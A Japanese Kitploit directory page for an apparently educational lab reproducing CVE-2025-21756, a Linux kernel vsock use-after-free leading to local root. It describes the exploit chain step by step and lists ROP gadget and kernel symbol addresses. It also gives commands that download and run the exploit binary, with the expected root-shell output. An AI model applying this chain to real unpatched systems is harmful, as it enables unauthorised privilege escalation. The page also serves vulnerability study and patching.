Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-21756 — Linuxカーネルのvsockサブシステムにおけるuse-after-free(UAF)エクスプロイトを実証する教育用ラボ。ルートへのローカル権限昇格を実現し、自動セットアップとROPチェーン分析を備えています。 | Kitploit
ツール/GitHubGitHub/h3raklez/cve-2025-21756
特権昇格脆弱性分析エクスプロイトCTF学習と教育バイナリエクスプロイトラボと実践
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

Linuxカーネルのvsockサブシステムにおけるuse-after-free(UAF)エクスプロイトを実証する教育用ラボ。ルートへのローカル権限昇格を実現し、自動セットアップとROPチェーン分析を備えています。

リポジトリを見る
15ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-21756 — エクスプロイトラボ

教育的および許可されたセキュリティ研究目的のみに使用してください。

説明

CVE-2025-21756 は、2025年2月26日に公開された Linux カーネルの vsock (仮想ソケット) サブシステムにおける use-after-free (UAF) 脆弱性です。影響を受ける Linux システム上で、ローカルの攻撃者が root への権限昇格 を可能にします。

  • CVSS v3.1: 7.8 (重要)
  • ベクトル: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (解放後使用)
  • 影響を受けるコンポーネント: net/vmw_vsock/af_vsock.c
  • 影響を受けるカーネル: Linux 6.6.75 (およびパッチ未適用のそれ以前のバージョン)

根本原因

このバグは vsock ソケットの トランスポート再割り当て 中に発生します。脆弱なシーケンスは次のとおりです:

  1. vsock_create() が refcnt=2 でソケットを作成し、アンバウンドリストに挿入する
  2. transport->release() がソケットがバウンドリストに移動されたかどうかを確認せずに vsock_remove_bound() を呼び出し、誤って refcnt をデクリメントする
  3. vsock_bind() がソケットはまだアンバウンドリストにあると見なして、再度 _vsock_remove_bound() を呼び出す
  4. refcnt が早期に 0 に達し → vsock オブジェクトが参照されたまま解放される → UAF

適用されたパッチ

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

エクスプロイトチェーン

  1. UAF のトリガー — 異なるトランスポートを生成する CID を用いた 2 回の連続した connect() 呼び出しにより、vsock オブジェクトが vsock_bind_table にリンクされたまま早期に解放されます。
  2. スラブ解放 — SLUB の部分リストを排出し、対象のページをページアロケータに返却します。
  3. ページスプレー — 解放されたページを unix_dgram_sendmsg を使って order-2 メッセージ (MIGRATE_UNMOVABLE) で再取得し、制御データで埋めます。
  4. サイドチャネル — vsock_diag_dump (AppArmor で保護されていない) をサイドチャネルとして使用し、ページが再取得されたタイミングを検出し、ページ内の対象オブジェクトの正確なオフセットを特定します。
  5. RIP ハイジャック — sk->sk_prot を udp_prot+0x1c0 (udp_abort) を指すように上書きします。呼び出されると sk->sk_error_report(sk) が呼び出され、そのポインタはスタックピボットガジェットで上書きされます。
  6. ROP チェーン — commit_creds(init_cred) を実行してプロセスに root 資格情報を割り当て、続いて KPTI トランポリンでユーザースペースに戻ります。
  7. ルートシェル — uid=0 で execve("/bin/sh") を実行

必要条件

  • Debian 12 または 13 x86_64 (Debian 13 でテスト済み)
  • sudo アクセス権を持つ一般ユーザー
  • 最低 RAM: 1 GB
  • 空きディスク容量: 10 GB

ラボのセットアップ

root@kitploit:~
# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Run as a normal user (not root)
./setup-lab.sh

このスクリプトは自動的に以下を処理します:

  • sudo が利用できない場合はインストール
  • 必要なすべての依存関係のインストール (build-essential, qemu-system-x86, bc, pahole など)
  • Google kCTF 環境 (カーネル lts-6.6.75, rootfs, ramdisk) のダウンロード
  • ktranowl エクスプロイトのダウンロードと必要なパッチの適用
  • エクスプロイトのコンパイル
  • 正しいパラメータでの実行環境の作成
  • 単一エントリポイントとして run_lab.sh を作成

ラボの実行

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

環境が起動したら、その内部で以下を実行します:

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

期待される出力

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

終了するには: Ctrl-A X


元のエクスプロイトに適用された変更

ベースとなるエクスプロイトは ktranowl のものです。この環境で動作させるために以下の変更が適用されました:

1. KASLR の無効化

変更点: カーネルブートパラメータに nokaslr を追加。

理由: 元のエクスプロイトは、精密な CPU タイミングを必要とする TLB タイミングサイドチャネル手法である EntryBleed を使用して KASLR を回避します。ネストされた仮想化環境では rdtsc の精度が EntryBleed を確実に動作させるには不十分であり、誤った kbase が生成されるため、ADDRESS() で計算されるすべてのアドレスが間違ってしまいます。KASLR を無効にすることで、カーネルが常に 0xffffffff81000000 にロードされ、エクスプロイト内のハードコードされたオフセットが常に正しくなります。

2. user_rip を modeprobe_exec から check_root に変更

変更点 (exploit.c):

root@kitploit:~
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;

// After
uint64_t user_rip = (uint64_t)check_root;

理由: modeprobe_exec はリモート kCTF 環境向けに元のエクスプロイトで使用された権限昇格手法です。コマンドライン引数 (リモートサーバーの IP とポート) と外部ネットワーク接続が必要です。これらの引数がないと、argv[1] の読み取り時に GPF が発生しプロセスがクラッシュします。check_root は uid を直接確認して /bin/sh を実行するため、ローカル環境でのエクスプロイトデモには十分です。

3. check_root 内の modeprobe_exec 呼び出しを削除

変更点 (exploit.c):

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removed
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

理由: user_rip が check_root を指していても、この関数は /bin/sh を実行する前に内部で再度 modeprobe_exec を呼び出していました。必要な引数がないため、その呼び出しで GPF が発生し、commit_creds が既に権限昇格に成功していたにもかかわらず、シェルを開かずにプロセスが終了していました。


ROP チェーンとシンボル解析

ラボのセットアッププロセス中、すべてのカーネルシンボルと ROP ガジェットは公式の kCTF lts-6.6.75 カーネルに対して検証され、この環境で有効であることが確認されました。

ROP ガジェット

エクスプロイトで使用される 3 つのガジェットは、vmlinux バイナリに対して ROPgadget を使用して公式カーネルから抽出され、ハードコードされた値と完全に一致することが確認されました:

これらのいずれも変更は必要ありませんでした。

カーネルシンボル

以下のシンボルはカーネル内部の /proc/kallsyms に対して検証されました (nokaslr によりオフセットは固定):

すべての値はエクスプロイト内の元の値と一致しました。変更は必要ありませんでした。

address_contain_udp_abort に関する注釈

この値は udp_abort 関数を直接指しているのではなく、udp_prot + 0x1c0 を指しています。これは struct proto 内の diag_destroy フィールドです。これは意図的です: vsock_release は sk->sk_prot->close(sk, 0) を呼び出します。ここで close は struct proto のオフセット 0 にあります。sk_prot を udp_prot の先頭ではなく udp_prot->diag_destroy に向けることで、カーネルは diag_destroy を close ポインタであるかのように読み取り、これには udp_abort が含まれています。これにより → にチェーンし、そこにスタックピボットガジェットが配置されます。

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot points to udp_prot+0x1c0
    └── udp_abort(sk)              ← diag_destroy field, read as close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← stack pivot gadget
                └── ROP chain
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → root shell


緩和策

公式パッチはカーネル 6.14-rc1 から利用可能で、すべてのメンテナンス中の LTS ブランチにバックポートされています。影響を受けるディストリビューションは独自のアドバイザリを発行しています:

  • Ubuntu: USN-7361-1 以降
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 以降

参考文献


免責事項

このツールは 教育的目的および許可されたセキュリティテストのみ のために提供されます。所有していない、または明示的な書面によるテスト許可がないシステムに対する不正使用は違法です。著者は誤用について一切の責任を負いません。

ツールをダウンロード
ガジェットアドレス目的
pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32スタックピボット — RSP を制御下の vsock オブジェクトの先頭に移動
add rsp, 0xb8 ; jmp ...0xffffffff8170292cスタックアドバンス — 予約フィールドをスキップして ROP チェーンに到達
pop rdi ; ret0xffffffff8115e4f9commit_creds(init_cred) の最初の引数をロード
シンボルアドレス備考
vsock_bind_table[0x7a]0xffffffff84bc6280サイドチャネルアンカー — 被害オブジェクトが配置される vsock リストスロット
init_net0xffffffff84bb1f80vsock_diag_dump を介して偽の vsock オブジェクトを検証するために使用
commit_creds0xffffffff811fdac0現在のプロセスに root 資格情報を割り当てる
init_cred0xffffffff83c74d80uid=gid=0 の資格情報構造体、カーネルベースから固定オフセット
kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — CR3 を復元しユーザースペースに戻る
address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — 下記の注釈を参照
sk_error_report(sk)
sk->sk_error_report(sk)
側面元 (ktranowl)本ラボ
KASLR 回避EntryBleed (TLB タイミング)無効化 (nokaslr)
権限昇格手法core_pattern 経由の modeprobe_execexecve("/bin/sh") 直接
対象環境リモート kCTFローカル
外部接続の必要性ありなし
リソースURL
オリジナル解説 (Hoefler)https://hoefler.dev/articles/vsock.html
Hoefler エクスプロイトhttps://github.com/hoefler02/CVE-2025-21756
n-day 分析 (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
ktranowl エクスプロイトhttps://github.com/khoatran107/cve-2025-21756
公式パッチhttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
kCTF ルールhttps://google.github.io/security-research/kernelctf/rules.html